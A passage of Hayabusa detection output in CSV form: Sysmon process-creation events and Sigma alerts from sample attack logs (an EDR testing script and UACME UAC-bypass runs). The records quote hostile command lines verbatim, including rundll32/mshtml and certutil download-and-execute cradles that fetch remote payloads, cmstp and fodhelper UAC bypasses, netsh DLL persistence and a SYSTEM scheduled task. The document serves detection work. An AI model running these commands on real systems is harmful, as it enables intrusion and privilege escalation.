listenaddress=0.0.0.0,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.442 +09:00,MSEDGEWIN10,1,medium,Netsh Port Forwarding,,rules/sigma/process_creation/win_netsh_port_fwd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.460 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1 : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.460 +09:00,MSEDGEWIN10,1,medium,Netsh Port Forwarding,,rules/sigma/process_creation/win_netsh_port_fwd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.466 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh.exe add helper AllTheThings.dll : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh.exe add helper AllTheThings.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.466 +09:00,MSEDGEWIN10,1,high,Suspicious Netsh DLL Persistence,,rules/sigma/process_creation/win_susp_netsh_dll_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.731 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.970 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:01.090 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\dispdiag.exe -out dispdiag_start.dat : Path: C:\Windows\System32\dispdiag.exe : User: MSEDGEWIN10\IEUser : Parent Command: netsh trace start capture=yes filemode=append persistent=yes tracefile=trace.etl ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:05.237 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c rundll32 AllTheThings.dll,EntryPoint : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:05.252 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:05.502 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 AllTheThings.dll,EntryPoint : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c rundll32 AllTheThings.dll,EntryPoint",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:05.542 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 AllTheThings.dll,EntryPoint : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32 AllTheThings.dll,EntryPoint",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.373 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test"") : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.373 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.388 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.708 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test"") : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test"")",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.708 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:11.501 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test"")",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:12.352 +09:00,MSEDGEWIN10,3,medium,Rundll32 Internet Connection,,rules/sigma/network_connection/sysmon_rundll32_net_connections.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.226 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new0ActiveXObject(""WScript.Shell"").run(""calc.exe"",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new0ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe && exit"",0,true);} : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.226 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.252 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.658 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new0ActiveXObject(""WScript.Shell"").run(""calc.exe"",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new0ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe && exit"",0,true);} : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new0ActiveXObject(""WScript.Shell"").run(""calc.exe"",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new0ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe && exit"",0,true);}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.658 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.238 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c certutil.exe -urlcache -split -f https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt Default_File_Path2.ps1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.238 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.262 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.459 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt Default_File_Path2.ps1 : Path: C:\Windows\System32\certutil.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c certutil.exe -urlcache -split -f https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt Default_File_Path2.ps1 ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.459 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:25.202 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c cmstp.exe /ni /s https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp.inf : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:25.269 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:25.659 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmstp.exe /ni /s https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp.inf : Path: C:\Windows\System32\cmstp.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c cmstp.exe /ni /s https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp.inf,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:25.659 +09:00,MSEDGEWIN10,1,high,Bypass UAC via CMSTP,,rules/sigma/process_creation/win_uac_cmstp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.237 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.258 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.685 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe : Path: C:\Windows\System32\forfiles.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.807 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.807 +09:00,MSEDGEWIN10,1,low,Indirect Command Execution,,rules/sigma/process_creation/win_indirect_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.313 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c winrm qc -q : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.337 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c winrm i c wmicimv2/Win32_Process @{CommandLine=""calc""} : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.347 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.838 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cscript //nologo ""C:\Windows\System32\winrm.vbs"" qc -q : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c winrm qc -q ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.878 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cscript //nologo ""C:\Windows\System32\winrm.vbs"" i c wmicimv2/Win32_Process @{CommandLine=""calc""} : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c winrm i c wmicimv2/Win32_Process @{CommandLine=""calc""}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:36.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: calc : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:36.534 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.261 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c schtasks /create /tn ""mysc"" /tr C:\windows\system32\calc.exe /sc ONLOGON /ru ""System"" /f : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.261 +09:00,MSEDGEWIN10,1,high,Suspicious Calculator Usage,,rules/sigma/process_creation/win_susp_calc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.385 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.889 +09:00,MSEDGEWIN10,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.889 +09:00,MSEDGEWIN10,1,high,Suspicious Calculator Usage,,rules/sigma/process_creation/win_susp_calc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.889 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: schtasks /create /tn ""mysc"" /tr C:\windows\system32\calc.exe /sc ONLOGON /ru ""System"" /f : Path: C:\Windows\System32\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c schtasks /create /tn ""mysc"" /tr C:\windows\system32\calc.exe /sc ONLOGON /ru ""System"" /f",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:45.242 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test.sct : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:45.311 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:45.606 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test.sct : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test.sct,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-08-03 18:46:48.209 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 34 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 18:46:48.209 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 18:46:48.924 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: ""C:\Windows\System32\schtasks.exe"" /run /tn ""\Microsoft\Windows\DiskCleanup\SilentCleanup"" /i : Path: C:\Windows\System32\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 34",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 18:46:49.402 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe""\system32\cleanmgr.exe /autoclean /d C: : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 18:46:49.402 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using Disk Cleanup,,rules/sigma/process_creation/win_uac_bypass_cleanmgr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 19:14:02.589 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 33 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:02.589 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:02.929 +09:00,MSEDGEWIN10,13,high,Shell Open Registry Keys Manipulation,,rules/sigma/registry_event/win_registry_shell_open_keys_manipulation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:02.934 +09:00,MSEDGEWIN10,13,high,Shell Open Registry Keys Manipulation,,rules/sigma/registry_event/win_registry_shell_open_keys_manipulation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:07.652 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\fodhelper.exe"" : Path: C:\Windows\System32\fodhelper.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 33",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:07.665 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 324 